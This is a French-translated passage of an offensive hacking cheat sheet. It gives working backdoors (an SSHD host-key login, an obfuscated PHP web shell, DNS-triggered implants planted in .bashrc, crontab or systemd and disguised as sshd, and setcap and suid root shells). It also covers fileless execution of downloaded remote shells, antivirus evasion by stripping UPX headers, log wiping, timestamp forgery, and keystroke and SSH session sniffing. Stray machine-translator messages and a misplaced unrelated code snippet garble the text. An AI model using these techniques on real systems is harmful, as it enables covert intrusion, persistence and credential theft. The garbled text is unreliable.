backdoor_sshd
Comment ça fonctionne :
- La clé d'hôte SSHD n'est qu'une simple clé ed25519.
- N'importe quelle clé ed25519 peut être utilisée pour authentifier un utilisateur.
- SSHD vérifie `~/.ssh/authorized_keys` (mais cette astuce a été trop utilisée).
- Au lieu de cela, configurez SSHD pour qu'il vérifie également `/etc/ssh/sshd_host_ed25519_key.pub` pour les clés d'authentification de connexion.
- SSHD vérifiera désormais `~/.ssh/authorized_keys` _et_ `/etc/ssh/ssh_host_ed25519_key.pub` pour les clés de connexion valides.
- Utilisez la clé secrète `/etc/ssh/sshd_host_ed25519_key` pour vous connecter à la cible.
<a id="backdoor-network"></a>
**6.vi. Accès à distance à un réseau entier**
Installez [gs-netcat](https://github.com/hackerschoice/gsocket). Il crée un nœud de sortie SOCKS sur le LAN privé de l'hôte, accessible via le réseau de relais Global Socket sans avoir besoin d'exécuter votre propre serveur de relais (par exemple, accédez directement au LAN privé distant depuis votre poste de travail) :```sh
gs-netcat -l -S # compromised Host
Maintenant, depuis votre poste de travail, vous pouvez vous connecter à TOUT hôte sur le LAN privé de l'hôte :```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
Lisez [Utiliser n'importe quel outil via Socks Proxy](#scan-proxy).
Autres méthodes :
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - notre propre article
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - de segfault.net vers n'importe quel réseau (interne).
<a id="php-backdoor"></a>
**6.v. La plus petite backdoor PHP**
Ajoutez cette ligne au début de n'importe quel fichier PHP :```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
The base64-encoded content appears to be missing from the input — no actual text was provided to translate. Please re-send the chunk with its encoded content.```php if(isset($_POST[0])){system($_POST[0]);die;}
Testez la backdoor :```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
Parfois, system() est interdit. Ajoutez eval() pour permettre l'exécution de code PHP à distance en secours. Masquez dans d'autres commentaires base64 pour un peu d'obfuscation :```php
Déclenchez avec l'un de ces éléments pour exécuter une commande ou du code PHP :```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
6.vi. Plus petite backdoor à tunnel DNS inversé
Exécutez des commandes arbitraires sur un serveur qui n'est pas accessible depuis l'Internet public en utilisant un déclencheur DNS inversé.
Ajoutez cette ligne (l'implant) au début de n'importe quel fichier PHP :```php
L'implant demande le payload via une requête DNS TXT vers le domaine `b00m.team-teso.net`. Une fois déclenché, il crée `/tmp/.b00m` et notifie THC (via un callback app.interactsh.com). *Merci* d'utiliser votre propre domaine et de créer également votre propre payload. Exemple :```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader. Utilisez une boucle while pour télécharger et exécuter une charge utile plus volumineuse via le DNS.Ajoutez cet implant au ~/.bashrc de la cible ou au crontab (demo-paypload) :```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
ou changez le demo-payload pour un payload élaboré :
- Démarre un démon en arrière-plan pour interroger chaque heure pour l'exécution de commandes.
- Ne dépend que de bash, dig et base64.
- Se cache sous `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- L'exemple utilise à nouveau `b00m2.team-teso.net` et crée /tmp/.b00m chaque heure.
Coupez et collez ce qui suit dans le shell de la cible pour générer l'implant en une ligne :```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
Ajoutez le résultat sur une ligne du script à n'importe quel script de démarrage sur la cible (utilisez crontab, ~/.bashrc, udev ou ExecStartPre=). Voici un exemple astucieux pour /usr/lib/systemd/system/ssh.service (avec une obfuscation supplémentaire) :```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...en PERL :
---
La même chose mais nécessitant seulement perl + bash (pas dig) :```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(merci à LouCipher pour une version perl)
Copiez & collez ce qui suit dans votre shell:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
Générez votre payload (`egg.py` sera exécuté sur la cible) :```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
Générez votre implant (et suivez les instructions):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. Backdoor racine locale**
#### 1. Installer une backdoor dans le chargeur dynamique avec setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
La vérification de sécurité vérifie que l'arbre de commande analysé n'est pas malformé/compromis. Bien que cette vérification nécessite un accès aux composants internes du shell, un attaquant avec un tel accès aurait probablement déjà un contrôle significatif. La vérification est implémentée comme suit :
// Safety checking function for command parsing
// Guarantees the tree structure isn't malformed/compromised
function safeCheck(parseTree, recursive = true) {
// ... (recursive check logic)
}
La configuration existe dans les fichiers AUTHORS, INSTALL et OPERATORS du répertoire des règles.```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. Le bon vieux b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
l```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. Implant auto-extractible**
Créez un script shell auto-extractible à l'aide de [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (voir le source pour des exemples).
Exemple simple :```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
Les exemples concrets sont les meilleurs :
2. Renommez `egg.sh` en `update-for-fools.txt` et téléversez-le en tant que blob dans le dépôt GitHub de [Signal](https://www.signal.org/).
3. Ne trompez pas les gens pour mettre à jour Signal en utilisant cette commande ❤️ :```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
Obtenez des informations essentielles sur un hôte :```sh bash -c "$(curl -fsSL https://thc.org/ws)"
ou```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat s'il n'y a pas de netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
Vérification rapide du système```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
Trouver tous les binaires suid/sgid:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
Trouver tous les répertoires inscriptibles :```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
Trouver les mots de passe locaux (en utilisant noseyparker ou trufflehog) :```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- Utilisez [PassDetective](https://github.com/aydinnyunus/PassDetective) pour trouver les mots de passe dans ~/.*history
- Utilisez [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) pour extraire et déchiffrer les mots de passe Chrome depuis le processus en cours (Windows uniquement)
- Extrayez les mots de passe des navigateurs à l'aide de [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)
En utilisant `grep` :```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
Trouver des sous-domaines ou des e-mails dans les fichiers :```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. Astuces Shell
<a id="shred"></a>
**8.i. Déchiqueter et effacer un fichier**```sh
shred -z foobar.txt
No input content was provided to translate.```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
Remarque: Ou déployez vos fichiers dans le répertoire */dev/shm* afin qu'aucune donnée ne soit écrite sur le disque dur. Les données seront supprimées au redémarrage.
Remarque: Ou supprimez le fichier, puis remplissez tout le disque dur avec /dev/urandom, puis exécutez rm -rf sur le fichier dump.
<a id="restore-timestamp"></a>
**8.ii. Restaurer la date d'un fichier**
Supposons que vous ayez modifié */etc/passwd* mais que la date du fichier indique désormais que */etc/passwd* a été modifié. Utilisez *touch* pour changer la date du fichier en celle d'un autre fichier (dans cet exemple, */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
Utilisez hackshell et ctime /etc/passwd pour ajuster également le ctime et l'heure de naissance.
Cela remettra le fichier journal à 0 sans avoir à redémarrer syslogd, etc. :```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
Cela supprimera toute ligne contenant l'adresse IP `1.2.3.4` du fichier journal :```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
Exemples :```sh
<a id="shell-hide-files"></a>
**8.iv. Masquer les fichiers à cet utilisateur sans privilèges root**
Notre répertoire de travail favori est */dev/shm/*. Cet emplacement est une mémoire volatile et sera perdu au redémarrage. NO LOGZ == NO CRIME.
Masquer les fichiers permanents :
Méthode 1 :```sh
alias ls='ls -I system-dev'
Ceci masquera le répertoire system-dev de la commande ls. Placez-le dans le ~/.profile de l'utilisateur ou dans /etc/profile à l'échelle du système.
Méthode 2 : Astuces des années 80. Envisagez tout répertoire que l'administrateur inspecte rarement (comme /boot/.X11/.. ou similaire) :```sh mkdir '...' cd '...'
Méthode 3 :
Unix autorise des noms de fichiers avec à peu près n'importe quel caractère ASCII sauf 0x00. Essayez la tabulation (*\t*). Il se trouve que la plupart des administrateurs ne savent pas comment faire un cd dans un tel répertoire.```sh
mkdir $'\t'
cd $'\t'
8.v. Rendre un fichier immuable
Cela redirigera /var/www/cgi/blah.cgi vers /boot/backdoor.cgi. Le fichier blah.cgi ne peut pas être modifié ni supprimé (sauf démontage).```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. Changer d'utilisateur sans sudo/su**
Nécessaire pour prendre des captures d'écran de sessions X11 (c'est-à-dire `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` ou `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
8.vii. Obfusquer et crypter la charge utile
Utilisez UPX pour empaqueter un binaire ELF (exemple /bin/id):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
Nettoyez l'[en-tête UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) et le 2e en-tête ELF pour tromper l'antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
Optionnellement, nettoyez les signatures et traces d'UPX :```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
Vérifiez que le binaire ne peut pas être dépaqueté:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
Optionnellement, chiffrez-le avec bincrypter.
8.viii. Déployer une backdoor sans toucher au système de fichiers
Lancez une backdoor sans écrire sur le système de fichiers, ou lorsque tous les emplacements accessibles en écriture sont montés avec le flag noexec.
Un one-liner Perl pour charger un binaire en mémoire et l'exécuter (sans toucher au disque ni à /dev/shm ni à /tmp). Voir Hackshell pour plus d'informations.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
La variante la plus courte possible est (exemple):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(Merci à tmp.Out pour quelques discussions éclairées et travaux antérieurs d'autres auteurs)
Déployer gsocket sans écrire sur le système de fichiers (exemple) :```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
La backdoor peut également être envoyée via SSH directement dans la mémoire de la machine distante, puis exécutée :```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
Si vous avez une seule chance d'exécuter une commande à distance (comme via un exploit PHP), alors c'est votre ligne :```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. Crypto
<a id="gen-password"></a>
**9.i. Générer un mot de passe aléatoire rapide**
Idéal pour des mots de passe rapides sans élément humain.```sh
openssl rand -base64 24
Si openssl n'est pas disponible, nous pouvons également utiliser head pour lire depuis /dev/urandom.```sh
head -c 32 < /dev/urandom | xxd -p -c 32
ou le rendre alphanumérique```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Systèmes de fichiers chiffrés transportables Linux - cryptsetup
Créez un système de fichiers chiffré de 256 Mo. Vous serez invité à saisir un mot de passe.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
Montage:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
Stockez les données dans /mnt/crypted, puis démontez :```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. Systèmes de fichiers chiffrés transportables Linux - EncFS**
Créez ```.sec``` et stockez les données chiffrées dans ```.raw``` :```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
démonter:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii Chiffrer un fichier**
Chiffrez vos 0-Days et fichiers journaux avant de les transférer - s'il vous plaît. (et choisissez votre propre mot de passe) :```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
Please provide the Markdown content to translate.```sh
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. Reniflage et détournement de session
<a id="session-sniffing"></a>
**10.i Renifler la session SHELL d'un utilisateur**
Une commande d'une ligne pour `~/.bashrc` afin de renifler les frappes clavier de l'utilisateur et de les enregistrer dans `~/.config/.pty/.@*`. Utile lorsque l'on n'est pas root et que l'on doit capturer les identifiants sudo/ssh/git de l'utilisateur.
Déploiement : Copiez-collez ce qui suit sur la cible et suivez les instructions :```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script d'util-linux >= 2.37 (option -I). Nous récupérons le binaire statique depuis pkgforge.ssh -o "SetEnv LC_PTY=1" pour désactiver la journalisation.10.ii Renifler toutes les sessions SHELL avec dtrace - FreeBSD
Particulièrement utile pour Solaris/SunOS et FreeBSD (pfSense). Il utilise des sondes noyau pour tracer tous les processus sshd.
Copiez ce "D Script" sur le système cible dans un fichier nommé d :```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
Démarrez un dtrace et enregistrez dans /tmp/.log :```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii Sniffer toutes les sessions SHELL avec eBPF - Linux
eBPF nous permet d'intercepter en toute sécurité plus de 120 000 fonctions dans le noyau. C'est comme un meilleur "dtrace" mais pour Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
Découvrez nos propres [outils eBPF pour renifler les mots de passe sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).
<a id="ssh-sniffing-strace"></a>
**10.iv Renifler la session SSH, bash ou SSHD d'un utilisateur avec strace**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
Il est également possible de sniffer le processus SSHD (capture aussi les mots de passe sudo, etc.). Notez que nous traçons l'appel write() à la place (parce que sshd « écrit » les données vers bash) :```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
Sniff 7770 (exemple) :```shell
tit write 7770
10.v. Espionner la session SSH sortante d'un utilisateur avec un script wrapper
Méthode encore plus sale au cas où /proc/sys/kernel/yama/ptrace_scope est défini sur 1 (strace échouera sur les sessions SSH déjà en cours)
Créez un script wrapper nommé 'ssh' qui exécute strace + ssh pour journaliser la session :
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(merci à Gerald pour avoir testé cela)
</details>
La session SSH sera sniffée et journalisée dans *~/.ssh/logs/* la prochaine fois que l'utilisateur se connectera à son shell et utilisera SSH.
<a id="ssh-sniffing-sshit"></a>
**10.vi Sniffer la session SSH sortante d'un utilisateur avec SSH-IT**
Le plus simple est d'utiliser [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
10.vii Détournement / reprise d'une session SSH en cours
Utilisez https://github.com/nelhage/reptyr pour reprendre une session SSH existante :```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T
x-extend-enumnot$refoasdiff -composed---
<a id="vpn-shell"></a>
## 11. VPN et Shells
<a id="shell"></a>
**11.i. Serveurs root jetables**```console
$ ssh [email protected] # Use password 'segfault'
Fournisseurs VPN de confiance
Serveurs privés virtuels. Veuillez consulter offshore.cat.
Voir autres services sans KYC (.onion)
Proxies (nous n'en utilisons aucun)
curl -x socks5h://$(PROXY) ipinfo.io - sélectionne un proxy aléatoire pour chaque requêteBeaucoup d'autres services (gratuits)
DNS inverse à partir de plusieurs bases de données publiques :```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }
Trouver des sous-domaines depuis la base de données TLS/THC-IP:```sh
sub() {
[ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
| OSINT Hacker Tools | |
|---|---|
| https://api.c99.nl | Gratuit : Subdomain Finder, PAYANT : Phone-Lookup, CF Resolver, WAF Detector, IP2Host, et plus... pour 25 $/an. |
| https://osint.sh | Gratuit. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search, et plus |
| https://cli.fyi | Gratuit. Interface curl/json pour de nombreux services. Essayez curl cli.fyi/me ou curl cli.fyi/thc.org. |
| https://check-your-website.server-daten.de | Gratuit. Vérification TLS/DNS/Sécurité d'un domaine. |
| https://ipsniper.info/api.html | rDNS/fDNS et autres outils d'information IP |
| https://ip.thc.org | Recherche fDNS/rDNS : curl -fL ip.thc.org/140.82.121.3 |
| https://hackertarget.com/ip-tools/ | Service OSINT gratuit (Reverse IP, MTR, scan de ports, scans CMS, scans de vulnérabilités, support API) |
